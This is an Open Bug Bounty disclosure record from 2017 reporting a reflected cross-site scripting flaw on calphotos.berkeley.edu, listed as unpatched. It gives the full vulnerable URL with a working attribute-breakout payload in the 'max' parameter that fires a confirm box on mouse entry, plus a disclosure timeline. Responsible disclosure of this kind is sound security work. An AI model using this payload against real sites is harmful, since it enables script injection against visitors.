calphotos.berkeley.edu XSS vulnerability

2017-05-29T20:24:00
ID OBB:242861
Type openbugbounty
Reporter Random_Robbie
Modified 2017-07-11T08:15:00

Description

Vulnerable URL:
http://calphotos.berkeley.edu/cgi/img_query?max=50"' /Style=position:fixed;top:0;left:0;font-size:999px; /Onmouseenter=confirm`OPENBUGBOUNTY` //&query;_src=aw_search_searchphotos&where-taxon;=&rel-taxon;=like&where-cname;=&rel-cname;=like&where-lifeform;=Amphibian&where-photographer;=any&rel-location;=like&where-location;=&where-continent;=&where-country;=none&where-state;=&rel-kwid;=equals&where-kwid;=
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 31.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
VIP website status:| No
Check calphotos.berkeley.edu SSL connection:| (Grade: C)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability submitted via Open Bug Bounty| 29 May, 2017 20:24 GMT
Vulnerability existence verified and confirmed| 30 May, 2017 07:19 GMT
Generic security notifications sent to website owner| 30 May, 2017 07:19 GMT
Notification sent to subscribers (without technical details)| 30 May, 2017 10:17 GMT
Vulnerability details disclosed by researcher| 11 July, 2017 08:15 GMT